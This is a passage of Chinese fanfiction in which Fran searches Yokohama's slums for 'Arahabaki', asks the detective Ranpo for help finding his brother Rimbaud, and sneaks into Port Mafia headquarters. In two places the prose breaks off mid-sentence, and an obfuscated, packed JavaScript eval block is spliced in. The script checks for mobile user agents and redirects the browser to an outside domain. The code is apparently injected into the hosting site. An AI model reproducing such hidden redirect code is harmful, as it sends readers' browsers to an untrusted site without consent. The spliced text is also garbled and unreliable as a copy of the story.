“死屋之鼠?!弗兰小子!你问这个干什么?!”城岛犬的大嗓门震得弗兰下意识把手机拿远了一点。 “那帮家伙可是欧洲地下有名的情报贩子!神出鬼没,心狠手辣!你小子是不是又在外面惹到什么麻烦了?!啊?!” 弗兰几乎能想象到电话那头的景象。犬前辈像只被踩了尾巴的大型犬一样跳起来,揪着千种的衣领抢电话,唾沫星子横飞的样子。 他无奈地揉了揉额角:“不,犬前辈,Me只是……偶然听人提起,有点好奇。那有没有关于他们首领的情报呢?比如……叫什么名字之类的?” 这熟悉的画面感让弗兰紧绷的神经稍微放松了一丁点。 “首领?”城岛犬的声音带着浓浓的怀疑和吐槽,“那种藏在阴沟里的老鼠头子,恨不得把祖宗十八代都藏进下水道里,怎么可能轻易让人知道名字!喂!弗兰!你给我听好了!” 他的语气突然变得严肃,“要是真在外面惹到了什么不该惹的人,别硬撑!赶紧回来!骸大人罩得住你!最多也就让你多洗几天碗,多跑几次腿,饿不死你的!哈哈哈哈!” 那相当狂妄的大笑震得弗兰耳朵发麻。 “犬前辈永远学不会用室内音量讲话啊。” 虽然前辈们的方式总是这么直接粗暴,甚至有点吵闹,但这毫无保留的袒护还是让弗兰心底划过一丝微弱的暖流。 弗兰面无表情地对着空气翻了个白眼。“啪”的一声脆响,他毫不犹豫地挂断了电话,将犬前辈“豪迈”的关怀隔绝在千里之外。他对着手机屏幕无声地叹了口气,指尖划过那个冰冷的“F”图标。 世界瞬间清净了。 弗兰长长地、无语地叹了口气,将手机塞回口袋。 死屋之鼠……首领……费奥多尔…… 千种前辈的冷静判断和犬前辈的咋咋呼呼交织在一起。 虽然犬前辈的话不太靠谱,但“情报组织首领身份神秘”这点,反而侧面印证了费奥多尔自报家门的分量。 这个身份,似乎没必要在这种事上骗他。或者说,对方笃定,即使知道了身份,弗兰也拿他没办法。 思绪纷乱间,他脚步未停。 周围的街道渐渐变得破败、冷清,行人的衣着也从光鲜变得褴褛。 等他回过神时,已经站在一个巨大、破碎的路口边缘。眼前是如同被巨神之拳狠狠砸入地底而形成的巨大碗状深坑——擂钵街。 风卷起地面的尘土和碎屑,带来一股混合着垃圾、锈蚀和某种难以言喻的衰败气息。断壁残垣像巨兽的骸骨般矗立,向坑底延伸。 “……”弗兰站在这个巨大贫民窟的入口,真真切切地、沉重地叹了口气。 空气都仿佛比外面浑浊沉重几分。 这里,就是他此行的目的地,一个用绝望和暴力堆砌而成的迷宫。 而他要找的,是一个只知道名字的东西——“荒霸吐”。 费奥多尔那笃定的“你只要见到了一眼就能分辨出来”的话语,此刻听起来更像是一个恶劣的玩笑。 真的有人会叫这个名字吗? *** 通往擂钵街深处的台阶陡峭、狭窄,布满了碎石和可疑的污渍。 弗兰悄无声息地发动了幻术,一层难以察觉的光线扭曲笼罩了他的身形,将他与环境融为一体。他像一抹幽魂,谨慎地避开那些在阴影中游荡的、眼神空洞或充满警惕的身影。 不远处,几个枯瘦如柴的男人正为了一个发霉的面包或者半瓶浑浊的水而大打出手,拳头砸在□□上发出沉闷的“噗噗”声,伴随着野兽般的低吼和咒骂。 弗兰面无表情地看着,脚步没有丝毫停顿,默默绕开这片原始的角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732787|172737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗场。 他小心翼翼地避开脚下散落的、散发着腐臭味的垃圾堆和扭曲的钢筋残骸。 巨大的、锈迹斑斑的集装箱被改造成住所,胡乱堆叠在一起,摇摇欲坠。草棚和破布搭建的窝棚随处可见。 费奥多尔的话语再次在脑中回响:“在擂钵街找到‘荒霸吐’,你就能找到自己要找的人。” 荒霸吐…… 弗兰内心的小人简直要抓狂了。 这种名字真的会有人用吗?!听起来像个什么上古邪神或者漫画里的怪兽! 更让他无语的是,那个男人除了丢下这个古怪的名字,关于目标的特征——年龄、外貌、衣着、能力——一概没有! 就凭一个名字,在这片混乱、庞大、藏污纳垢的贫民窟里找人?这无异于大海捞针!不,比大海捞针还难! 他当时也确实追问了特征。 “特征?”费奥多尔当时只是优雅地笑了笑,紫眸中闪烁着神秘莫测的光,轻轻搅动着红茶。 “无需担心,弗兰君。当你见到‘荒霸吐’的那一刻,你会知道的。那是……一种无法错认的感觉。就像黑暗中的火焰,或者……绝对零度中的一点炽热。”他的话语充满了诗意的暗示,却毫无实际意义。 所以为什么会这样啊! 弗兰内心的吐槽几乎要冲破他冷淡的面具。这种谜语人一样的说话方式最讨厌了! 就在这时,一阵极其微弱的、属于孩童的啜泣和呼救声,断断续续地飘了过来,夹杂在风声和远处模糊的噪音中,微弱得几乎要被忽略。但在弗兰敏锐的听觉里,却异常清晰。 “呜……不要……求求你们……” “姐姐……姐姐……” 弗兰的脚步微微一顿。 在擂钵街这种地方,成年人的生存已是炼狱,孩童的存在本身就是一种残酷的奇迹,他们的声音往往代表着最纯粹的绝望。 声音的来源在一个由废弃油桶和破木板搭成的窝棚后面。弗兰悄无声息地靠近,借着幻术的掩护,看清了眼前的景象。 四个衣衫褴褛、面容枯槁的男人围住了两个瘦小的女孩。 其中一个稍大点的女孩,约莫十几岁的样子,正张开双臂将另一个更小的女孩护在身后。 她脸上带着新鲜的瘀伤,嘴角破裂渗出血丝,单薄的旧衣服被撕破了好几处,露出下面青紫的皮肤。 她怀里紧紧抱着两块用油纸小心翼翼包好的东西,从形状看是面包,还散发着淡淡的、与周遭环境格格不入的麦香气。 “交出来!臭小鬼!”领头的男人身材佝偻,眼神浑浊却凶狠,他一把揪住大女孩的头发,迫使她抬起头,痛得她眼泪直流。 “不……不要打了!这些面包……都给你们!”大女孩的声音因恐惧和疼痛而剧烈颤抖,却还是死死护着身后瑟瑟发抖、哭得说不出话的妹妹,“求求你们……放过我们吧!我们下次……下次一定……” “下次?”另一个男人狞笑着,一脚踹在大女孩的膝盖窝,她痛呼一声,身体不受控制地向前扑倒,但怀里的面包依旧抱得死紧。“这次不给你们点教训,下次你们还敢藏!” 他扬起脏污的手,眼看又要落下。 “够了!”领头男人似乎觉得差不多了,不耐烦地喝止了同伴。他粗暴地从女孩怀里夺过那两块面包,油纸被揉得皱成一团。 他掂量了一下,朝地上啐了一口浓痰,眼神轻蔑地扫过地上蜷缩在一起的两个小小身影。“嘁,算你们识相!下次再敢藏吃的,就不是挨顿打这么简单了!走!” 他招呼一声,三个男人骂骂咧咧地转身,很快消失在错综复杂的垃圾堆和棚户之间。 原地只剩下两个挣扎着想要爬起来的女孩。大女孩强忍着眼泪,用手背擦掉嘴角的血,然后费力地扶起哭得上气不接下气的妹妹。 两个小小的、伤痕累累的身影,互相搀扶着,踉踉跄跄地朝着窝棚更深处挪动,每一步都带着劫后余生的虚弱和无助。她们甚至没有力气去捡地上散落的、沾了灰尘的油纸碎片。 弗兰隐身在阴影中,翠绿色的眼眸静静注视着这一幕。 擂钵街的残酷法则,就这样赤裸裸地在他眼前上演。他摩挲戒指的手指停顿了一下,冰凉的金属似乎也无法驱散心底深处泛起的一丝寒意。 寻找“荒霸吐”的荒谬任务,在这一刻显得更加沉重而迷茫。 14.第 14 章 横滨的黄昏,如同泼洒在擂钵街巨大伤疤上的陈旧血痂,昏沉而压抑。 弗兰像一只栖息在阴影里的夜枭,无声地蹲踞在锈蚀集装箱的顶端,深色斗篷将他融进逐渐浓重的暮色里。 下方,几个衣衫褴褛的少年围着跳跃不定的微弱篝火,火光将他们过早刻上风霜的脸映得明暗不定。 空气里劣质烟草的呛人、垃圾腐败的酸臭和一种铁锈与绝望混合的气息,构成了擂钵街永恒的背景音。 少年们带着粗粝世故的议论声清晰地飘上来。 “喂,听说了吗?‘羊’那帮小崽子又作死了!”一个头发油腻打绺、颧骨带着新鲜擦伤的黑发少年狠吸了一口快要烧到过滤嘴的烟蒂,声音沙哑得像砂纸摩擦。 旁边一个看起来更瘦小、眼神里还残留着些许懵懂的男孩接口,带着一丝不易察觉的向往:“是…是那个会给小孩发吃的‘羊’吗?” “发吃的?嘁!”黑发少年猛地啐了一口,烟蒂划出一道微弱的弧线,落入旁边浑浊的污水坑,发出“滋啦”一声轻响,如同他话语里的轻蔑。 “说得真好听!什么‘收留’?那是给‘有价值’的人准备的!老子当年饿得快啃土了想进去,被他们用棍子像赶野狗一样撵出来!呸!一群装模作样的玩意儿,还不是靠……”他朝旁边努了努嘴,意思不言自明。 一直沉默着,用一块脏得看不出颜色的布反复擦拭一把旧水果刀的男孩抬起头,刀锋在火光下反射出一点寒芒。 他声音低沉,带着敬畏:“靠‘羊之王’……中原中也,听说他是个异能者。” “异能者啊……”瘦小男孩喃喃重复,眼中的向往瞬间被一种深沉的寂静取代,身体不自觉地缩了缩。 擦刀的男孩皱起眉,脸上露出困惑:“可我听人说,‘羊之王’自己说过,他不是首领?他那么厉害都不是老大……那他们真正的首领得是什么怪物?” 这个问题像一块石头投入死水,短暂的沉默弥漫开来,只有篝火噼啪作响,映照着几张迷茫又带着点恐惧的脸。 “管他首领是谁呢!”黑发少年打破沉默,语气带着一种看戏的兴奋和残酷,“重点是,他们这次捅破天了!知道吗,他们前几天胆大包天,把港口黑手党的一批酒水给劫了!” “港口……黑手党?!”瘦小男孩的声音陡然拔高,带着惊恐的颤音,脸色瞬间煞白。 “哈哈!”黑发少年发出刺耳的笑声,带着幸灾乐祸,“没错!等着瞧吧,要是让港口的‘那位’知道,动他蛋糕的是一群毛都没长齐的小鬼……” 他夸张地做了个抹脖子的动作,眼中闪烁着嗜血的光芒,“嘿嘿,估计这会儿,已经有地方血流成河了!‘羊’?等着被碾成渣吧!” 集装箱顶端的弗兰,兜帽下祖母绿的眼眸平静无波,仿佛凝结的冰湖。 下方少年们带着恐惧、兴奋和恶意的议论,如同风穿过废墟的呜咽,流入他的耳中,却激不起半分涟漪。 擂钵街,这个巨大的、由灾难和绝望浇筑的巢穴,弱肉强食是唯一的法则。 无家可归者抱团取暖,小团体演变成组织,为了一寸地盘、一口吃食互相撕咬,同时还要抵御来自“外面”世界的冷酷挤压。 他在这里蛰伏、观察、交易,时光流逝,记忆深处模糊的碎片,被费奥多尔——那只苍白、阴郁、总让他感觉如芒在背的“老鼠”抛出的蛛丝般的线索串联起来,逐渐勾勒出清晰的轮廓。 兰波和魏尔伦……当年跨越重洋的目标,正是那被冠以神名的“荒霸吐”。 那场惊天动地的爆炸撕裂了整个街区,埋葬了无数生命,也宣告了他们的行动彻底失败。 费奥多尔带着深意的话语在脑中回响:“找到‘荒霸吐’,他们自会现身。” 这像一道冰冷的方程式,结果早已注定,只差一个关键的变量。 能在毁灭性爆炸中心存活,若被发现,必然会被官方力量严密控制、隔离研究;若未被发现,按照生存本能,一个幸存者会本能地走向有人的地方寻求庇护和资源。 然而,每次思考至此,一股微妙的、被算计的不快便如毒蛇般悄然缠绕心头。 费奥多尔仅仅用一个他靠自己也能迟早挖出的核心情报,就轻易换取了他作为某个组织的编外人员身份。 这笔交易,怎么看都是那只老鼠空手套白狼。 狡猾,且令人不悦。 至于下方少年们口中热议的“羊”组织…… 弗兰的指尖无意识地摩挲着冰冷粗糙的集装箱边缘。 从一个籍籍无名的小团体,到如今在擂钵街掷地有声的存在,其崛起速度确实引人侧目。 那位被冠以“王”之名的少年——中原中也,其凶名更是如雷贯耳。听说他一个人团灭过港口黑手党的一个小队,这昭示着他有一种极其强大的攻击型异能。 在擂钵街这种依靠原始暴力和简陋武器争斗的地方,这种力量近乎碾压。 虽然弗兰未曾与那位“羊之王”正面交锋,但关于他的传闻早已塞满了他的情报库:惊人的力量、对“羊”成员的强硬庇护、喜欢一个人在海边散步…… 或许,他也是在那场爆炸的余烬中,于绝境里点燃了异能的火焰? 弗兰秉持着情报贩子“多一事不如少一事”的思想,将这些真伪混杂、带着街头巷尾夸张色彩的信息一股脑儿打包,发送给了远方的“老鼠”。 以那个男人的才智,自然有本事从中剥离出有价值的信息吧。 弗兰有着自己独特而高效的情报网络。 与擂钵街这些在生存线上挣扎的孩子们打交道,进行以物易物或以情报换情报的“公平”交易,远比应付那些心思深沉、满口谎言的大人来得简单可靠。 一瓶干净的饮用水、一包高热量的压缩饼干、一条指向安全水源或未被占领的废弃小屋的信息,往往就能撬开许多紧闭的嘴巴,换来意想不到的碎片。 但现在,线索断了。 手头的碎片无法拼凑出通往“荒霸吐”的清晰路径。要深入这潭愈发浑浊的水,只剩下三条布满荆棘、危机四伏的路: 其一,是如今如同火药桶般、戒备森严到令人窒息的港口黑手党。当前首领年事已高,内部派系倾轧,外部群狼环伺。 然而,他们庞大而深植于黑暗的情报网络,或许藏着弗兰需要的最后一块拼图。 风险极高。 其二,则是费奥多尔轻描淡写提及的“异能特务科”——一个隐藏在政府幕后的官方异能管理机构。 对于这种代表着国家机器、秩序和繁琐束缚的庞然大物,弗兰本能地敬而远之。 与它打交道,意味着暴露的风险呈几何级数增长。 当然,还有第三条路。 弗兰的目光越过擂钵街层层叠叠、杂乱无章的棚户区屋顶,投向远处一栋在暮色中只能隐隐约约看到轮廓的红砖建筑——武装侦探社。 这个新兴的组织,以解决各种棘手事件,尤其是需要非凡智慧和异能介入的奇案而声名鹊起。 希望……那不是徒有虚名。 --- “咚咚咚。” 敲门声在侦探社略显空旷的走廊里显得格外清晰,带着一丝少年人特有的犹豫。 门没有锁,“嘎吱”一声轻响,被一只略显苍白、指节分明的手推开了一条缝。 一个青色头发的少年小心翼翼地探进头来。 他穿着相当随意的白衬衫,引人注目的是头上那顶与发色形成鲜明对比的、鲜红欲滴的苹果造型贝雷帽,帽檐压得略低。祖母绿色的眼眸如同两潭深秋的湖水,平静无波,看不出太多情绪,进来的同时快速地在侦探社内部扫视了一圈。 他的视线最终和一个坐在办公桌旁、正捧着一大盒布丁大快朵颐的年轻人对上了。 那年轻人看起来年纪也不大,戴着一顶标志性的贝雷帽,穿着合身的侦探风衣,整个人透着一股孩子气的随性。 他嘴里塞满了布丁,腮帮子鼓鼓囊囊,像只满足的仓鼠。 看到陌生的来访者,咀嚼的动作明显停顿了一下,翠绿色的眼眸眯起好奇地打量着门口的少年,像发现了一个突然出现的、包装精美的谜题。 “你好,” 弗兰用略显平淡却足够清晰的嗓音开口,“请问这里……是「武装侦探社」吗?” “是的哦~”侦探服的年轻人,也是侦探社的核心——江户川乱步,终于咽下了嘴里的布丁,脸上绽开一个毫无阴霾、充满孩子气的灿烂笑容,声音带着点心满意足的慵懒。 “请问有什么困扰需要名侦探大人为你拨开迷雾吗?进来详谈吧!”他热情地招了招手,仿佛在招呼一个迷路的朋友。 与此同时,靠近窗边,一位身着深色和服、气质沉稳如山的银发青年,如果没猜错的话这应该是侦探社的社长——福泽谕吉,正提起古朴的陶壶,将滚烫的热水缓缓注入茶杯。 袅袅茶香伴随着氤氲的热气升腾而起。 他没有立刻回头,但弗兰却感到一股无形的、极具压迫感的气息精准地落在了自己身上,仿佛被一柄尚未出鞘却已寒气逼人的利剑锁定,让他后背瞬间绷紧,肌肉微微僵硬。 这感觉有点像他刚练习射击时连续十发脱靶后得到魏尔伦死亡凝视。 福泽谕吉这才转过头,目光锐利而沉静,像能穿透皮囊直视灵魂深处,尤其在他那顶醒目的苹果贝雷帽上停留了一瞬。 “我稍后还有事,”福泽谕吉低头,沉稳地抿了一口茶,声音不高,却带着不容置疑的权威感,每一个字都清晰有力,“乱步,这个委托你独立处理。” 他放下茶杯,目光转向乱步,特意加重了语气:“结束后,”那语气带着家长式的叮嘱,“不要到处乱逛,立刻给我打电话,我来接你。” “嗨~嗨~明白啦,社长大人!”乱步拖长了调子应着,孩子气地嘟起嘴,似乎对被当成需要接送的小孩子管束略有不满,但眼神里并无真正的抗拒。“但是,这个委托好像用不上我出门诶。” 他随即又看向门口的弗兰,翠绿的眼眸闪烁着洞悉一切的光芒,嘴角勾起一抹近乎顽皮的笑意:“我是没问题啦!倒不如说与谢野医生今天出外勤才是小小的遗憾呢……” 他小声嘀咕了一句,似乎在遗憾少了些“热闹”。 然后转向弗兰,笑容重新变得灿烂,带着点哄孩子的意味:“这位年轻的委托人,说说看吧,是什么难题让你需要借助武装侦探社的力量呢?费用方面,”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742996|172737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他俏皮的用勺子敲了敲布丁盒边缘,“我们可是诚信经营,童叟无欺,不会因为你年纪小就给你打折的哦!名侦探的智慧和洞察力,可是无价之宝呢!” “乱步。”福泽谕吉眉头微不可察地皱了一下,语气带着一丝淡淡的无奈和提醒,显然觉得这种推销方式不太妥当。 “不用担心啦社长,”乱步满不在乎地摆摆手,重新挖了一大勺布丁塞进嘴里,含混不清却异常笃定地说,“别看他年纪小,这位委托人先生……嗯,弗兰君?” 他准确无误地叫出了对方刚才并未自报的名字,然后补充道,“可是相当、相当有‘实力’的!他完全付得起委托费!对吧,委托人先生?” 他笑眯眯地看向弗兰,那翠绿的眼眸深处,仿佛早已穿透了那身精心挑选的衣服,看穿了其下深藏的、与年龄不符的冷静与目的性。 既然被看穿了,那也不用再装下去了。 他选择坐在了离社长威严气场稍远、靠近乱步办公桌的沙发上,双腿悬空微微晃动着。 “委托人什么的……太生疏了,”他用一种努力想显得成熟稳重、却仍带着点少年稚气的语调,实际上却是没什么情绪起伏地说,“叫Me弗兰就好。” 他停顿了一下,似乎在斟酌词句,长长的睫毛微微垂下,在白皙的脸上投下小片阴影,营造出一种陷入回忆的忧伤感。 然后他抬起头,祖母绿的眼睛直视着名侦探,清晰地、带着一种坚定的恳求意味,一字一顿地说出了他的目的: “请你们帮Me——找一个人!我的哥哥,兰波。” 办公室的空气似乎凝滞了一瞬,只有茶壶盖被水汽顶起的轻微咔嗒声。 乱步停止了咀嚼布丁,歪着头,翠绿的眼眸饶有兴致地打量着少年脸上每一个细微的表情变化。 “找人?”乱步的声音轻快起来,仿佛找到了有趣的游戏,“这可是名侦探的拿手好戏!说说看,你要找的人长什么样?有什么特征?最后在哪里出现?” 他一连串的问题像连珠炮,带着一种孩童般的雀跃。 “我们是从法国那边一起来到日本的……”弗兰的声音低沉下去,带着追忆的迷茫和哀伤,“五年前……那场可怕的爆炸,你们应该还有印象吧?” 他微微垂下头,浓密的青色刘海遮住了部分眼睛,肩膀也垮塌下来,整个人好像笼罩在沮丧的阴影里。 “Me的哥哥……兰波,他就在那场爆炸中失踪了。虽然很多人都说……都说在那样的灾难里失踪就等于……” 他哽了一下,似乎在强忍泪水,随即又猛地抬起头,眼中闪烁着近乎偏执的坚定光芒。 “但是!Me在爆炸之后的一段时间里,确切地收到了他发出的特殊信号。很微弱,但绝对存在!Me坚信他还活着,他一定还在这个城市的某个角落……” 他的语气变得怅然,“拜托了!请您们务必要帮Me找到他,无论付出什么代价。” 他一边说着,一边将手上一直提着的一个印着高级甜品店的精美纸袋,轻轻地、带着点讨好意味地放在了乱步堆满零食和文件的办公桌空位上。 纸袋散发出诱人的黄油和糖霜的甜香。 “哦?”乱步的注意力瞬间被甜品袋吸引了一部分,翠绿的眼睛亮了一下,但更多的兴趣显然还在眼前的“谜题”上。 他放下布丁杯,饶有兴致地打量着那袋甜点,又看了看眼前这位“忧心忡忡寻亲”的少年。 “好吧!”乱步的声音带着一丝愉悦的轻快,仿佛接下的不是沉重委托而是一场有趣的游戏,“看在你这么诚恳、这么信任名侦探大人,还带了这么上道‘贡品’的份上——” 他故意拉长了调子,然后以一种近乎戏剧化的姿态,从口袋里掏出了他那副标志性的黑框眼镜,稳稳地架在鼻梁上。 就在眼镜戴正的瞬间,他脸上的孩子气和随性骤然褪去! 翠绿的眼眸猛地睁开,镜片后的翠绿瞳孔仿佛有数据流般的光芒一闪而过。 那不再是玩味的目光,而是一种洞悉一切、穿透层层迷雾的锐利光芒,仿佛蕴藏着整个宇宙的智慧,无形的气场以他为中心扩散开来,办公室的空气仿佛都凝固了。 福泽谕吉端着茶杯的手也微微一顿,目光深沉地看向自己的社员。 乱步缓缓开口,声音带着一种洞悉一切的平静,却像一颗投入平静湖面的石子,在弗兰心中激起无声的巨澜: “你要找的大致方向……是对的。”他伸出一根手指,随意地指向港口的方向,“但是,和残酷的真相擦肩而过了啊,弗兰君。” 弗兰的身体几不可察地僵硬了一瞬,低垂的眼眸深处掠过一丝冰冷的警惕。 乱步仿佛没看见,继续用他那独特的、带着点天真又无比笃定的语气说道: “你要找的人——或者说,如果你只找一个,他就在那栋黑色的大楼里。”他清晰地指向港口黑手党总部所在的方向。 “但是,能不能找到他,或者说,找到之后会面临什么……” 乱步耸了耸肩,重新拿起布丁勺,挖了一大块送进嘴里,含糊不清地补充道。 “那就不好说了哦。港口黑手党的地下室,可不是什么适合兄弟重逢的温馨场所呢。” 15.第 15 章 “真不愧是名侦探……”弗兰轻轻拍了两下手,清脆的掌声在略显空旷的事务所里回荡。 他那双翠绿的眼眸中,难得地褪去了惯有的淡漠,流露出纯粹的、几乎算得上惊叹的敬佩,目光灼灼地锁定在办公桌后那位戴着贝雷帽的青年身上。 “但是,”他话锋一转,微微歪头,语气里带着一丝不易察觉的探究,“Me还是有点疑惑,你是怎么知道Me找的不止一个人的?线索里似乎并没有明确指向这一点。” 江户川乱步正满足地舔着指尖沾到的薯片碎屑,闻言抬起头,脸上写满了理所当然的困惑,仿佛弗兰问的是“天空为什么是蓝的”这种基础问题。 “这种事情,”他拿起另一片薯片,咔嚓一声咬掉大半,含糊不清却理直气壮地说,“不是看一眼就知道了吗?” 他挥了挥拿着薯片的手,像是在驱赶一只不存在的苍蝇。 “委托人的状态、言辞间的微妙停顿、寻找目标时隐含的关联性……所有线索都像摊开的图画书一样清晰啊。” 他微微蹙眉,似乎对需要解释如此“显而易见”的事情感到些许麻烦。 弗兰一瞬不瞬地盯着乱步那双清澈又仿佛洞察一切的眼睛,试图从中找出一丝作伪的痕迹。 片刻后,他几不可闻地叹了口气,略显无力地垂下肩膀。 对方那副“这不是常识吗”的天真表情,完美印证了其话语的真实性。 你们这些聪明人,思考方式真是异于常人得让人头疼啊。 他在心底默默吐槽,面上却恢复了平静。 “那么,”弗兰决定结束这个让他有点挫败感的话题,切入正题,“关于委托要付的费用是……?” 他习惯性地准备去摸口袋。 “费用?”乱步像是才想起这回事,懒洋洋地指了指弗兰进门时放在桌上的那个精美纸袋,里面散发出诱人的甜腻香气。 “喏,已经付了哦。” 他满足地眯起眼,像一只餍足的猫,“那家店的限定草莓大福和熔岩巧克力蛋糕,可是需要排长队的。下次如果有正式委托,” 他重新瘫回舒适的靠背椅里,拆开一包新的零食,发出哗啦的声响,“再走流程吧。” 弗兰闻言微微一怔,视线落在那个甜点袋子上。 原来他进门时对方扫过袋子的那一眼,就已经包含了“估价”和“成交”的意思。 这位看似跳脱懒散的侦探小哥,行事风格还真是……别具一格。 他看着乱步瞬间又沉浸回零食的幸福感中,仿佛刚才那番惊人的推理从未发生过。 “既然如此,”弗兰的目光转向一直如同沉默守护者般伫立在窗边的福泽谕吉。 这位银发剑士锐利的眼神中带着一丝审视和疑惑,显然对弗兰这个陌生少年与乱步之间奇特的互动有所警惕。 弗兰朝他幅度极小地挥了挥手,算是告别,随即转身走向事务所大门,“之后如果侦探社有需要的话,可以找Me帮忙。” 他的声音不高,却清晰地传到身后两人耳中。 福泽谕吉眉头微蹙,刚要开口,弗兰仿佛预知了他的拒绝,脚步未停地补充道:“别急着拒绝哦,社长先生。世事难料,说不定什么时候就有用了呢?” 他拉开门,走廊的光线勾勒出他纤细的身影。 “毕竟——” 少年的嘴角勾起一个略带狡黠的弧度,“Me的出场费可是很贵的。” 门扉在身后轻轻合拢,将侦探社的暖意与零食香气隔绝。 弗兰脸上的那点表情瞬间消失,恢复了无机质般的平静。 虽说从乱步这里只得到了一个目标的确切线索,另一个依旧笼罩在迷雾中,但能锁定一个,已经是远超预期的顺利开局了。 接下来,才是真正的硬仗。 --- 港口黑手党那五栋如同钢铁巨兽般矗立、散发着森冷威严的大楼,在横滨的黄昏中投下巨大的阴影。 入口处戒备森严,穿着统一黑色西装、神情肃杀的守卫如同雕像般伫立。 “黑川,这么一大车东西是干嘛的?”一个年轻的值班守卫拦住了一辆盖着厚实白布的手推车,狐疑地用警棍敲了敲车架,发出沉闷的回响。 推车的是一个看起来老实巴交、穿着略显陈旧黑西装的中年人。 “哦,这个啊,”被称为黑川的中年人连忙堆起憨厚的笑容,搓了搓手,主动掀开白布的一角,露出里面码放得整整齐齐的药品包装盒,“是医疗部森医生前段时间申请的药品,后勤部刚采购回来的,让我赶紧给送上去。” 另一个年长些的守卫探头看了看,咂了咂嘴:“嘶……这用量也忒多了吧?感觉都够一个诊所开半年了……” 黑川无奈地叹了口气,凑近两人,压低了嗓音,带着几分神秘兮兮:“没办法啊,老哥。您是不知道,听说顶楼那位……” 他隐晦地向上指了指,“身体是越来越糟了。前天就为了一批被擂钵街那群不长眼的人截了的货,大发雷霆,直接派了三个小队去‘处理’,结果您猜怎么着?” 他摇摇头,一脸沉痛,“伤亡惨重啊!这不,原本采购的药量,森医生紧急又追加了一倍,说是……说是要‘稳住局面’。” 年轻守卫闻言嗤笑一声,带着点年轻人的不知天高地厚:“嘁!连贫民窟那边的杂鱼都收拾不利索?再这么下去,我看咱们□□怕是真的要……” 话没说完,旁边的年长守卫脸色剧变,猛地捂住他的嘴,力道大得让他差点窒息。 “疯了吗你!”年长守卫厉声低吼,眼神如刀般扫过四周,确认没有其他人,“这种话要是传到上面,明天东京湾底的水泥墩子就是你的新家!舌头不想要了?!” 黑川连忙打圆场,脸上依旧是那副和事佬的笑容:“哎呀,年轻人嘛,口无遮拦。再说,这里也没外人不是?都是自家兄弟发发牢骚。不过,” 他看了看腕表,露出焦急的神色,“我真得赶紧上去了,送货晚了点,后勤部那帮管仓库的又要给我记一笔,这个月奖金可就悬了。” “行行行,去吧去吧。”年长守卫挥挥手,又狠狠瞪了年轻守卫一眼,“管好你的嘴!” 两人重新回到岗位,恢复了之前的警惕姿态,只是眼神深处都藏着一丝不易察觉的阴霾。 黑川重新将白布仔细盖好,推着沉重的推车,在守卫的注视下走向通往内部的货梯。 厚重的白布下,推车内部的空间极其狭窄。 弗兰蜷缩在幻术制造的夹层中,尽量调整着呼吸。推车每一次微小的颠簸都清晰传递到他身上,混合着药品包装盒特有的塑料和纸板气味,以及黑川身上淡淡的汗味。 他能感觉到守卫审视的目光扫过推车,心脏在胸腔里沉稳地跳动,幻术完美覆盖着他的存在。 白布的一角被极其轻微地掀起一丝缝隙,随即又悄然落下,快得如同错觉。 “叮——” 电梯发出沉闷的提示音,到达了目标楼层——医疗部所在的十楼。推车轱辘在光滑的地板上滚动的声音,在空旷安静的走廊里被无限放大,格外清晰。 弗兰屏息凝神,感知着外部环境。推车最终停在一扇厚重的实木门前。 “咚咚。”黑川敲响了门。 短暂的寂静后,门内传来一个清亮、甚至带着点少年般慵懒质感的声音:“进来吧,森医生暂时不在,东西放这里就行。” “好的,麻烦您了。”黑川的声音带着恭敬,随即是推门、推动推车、以及他离开的脚步声。 最后是门被轻轻带上的咔哒声。 房间彻底陷入了沉寂。 几秒钟后,一层肉眼几乎难以察觉的、如同薄纱般的淡紫色雾气,悄然从推车底部白布的缝隙中弥漫出来。 雾气轻盈而迅捷,无声无息地蔓延开,迅速覆盖了整个宽敞的医疗办公室。 空气仿佛凝滞了一瞬。 白布的一角被一只手轻轻掀开,弗兰如同没有重量的影子,悄无声息地翻了出来,脚尖点地,没有发出任何声响。 他第一时间将自己的身形、气息乃至存在感都完美地融入环境之中。 办公室的布局简洁而专业,药柜、器械、办公桌一应俱全。 弗兰的目光瞬间锁定在靠窗位置。 一个穿着白色衬衣、身形瘦削的黑发少年正背对着他,伏在宽大的办公桌上,似乎在全神贯注地看着什么。 他微微眯起眼,谨慎地在室内移动,脚步轻得像猫。随即快速扫视了一圈环境,确认没有监控设备,最终带着一丝纯粹的好奇,无声无息地靠近了那个少年。 少年似乎毫无察觉,纤细的手指正翻过一页书。 弗兰的目光落在摊开的书页上——深色的封面上,几个白色的印刷体大字异常刺眼:《完全自杀手册》 他隐藏在帽子下的眉头几不可察地动了一下。 港口黑手党的医生办公室里……一个看这种书的少年?这组织里的人都什么毛病? 压下心头的怪异感,他将注意力转向办公室唯一的出口——那扇厚重的实木门。 幻术能屏蔽他视线范围内目标的感官,堪称完美隐形。 但风险在于开门瞬间。 如果门外走廊上恰好有巡逻队经过,或者有人正要进来,他的幻术无法提前覆盖未知目标,暴露的风险极高。 那么,只能等待一个开门的机会了。 弗兰冷静地判断,然后相当自然地、悄无声息地坐到了少年手边的办公桌一角,幻术让他如同空气。 他微微低下头,目光再次投向那本离奇的书,想看清上面究竟写了些什么惊世骇俗的内容。 “唔……这么久了,” 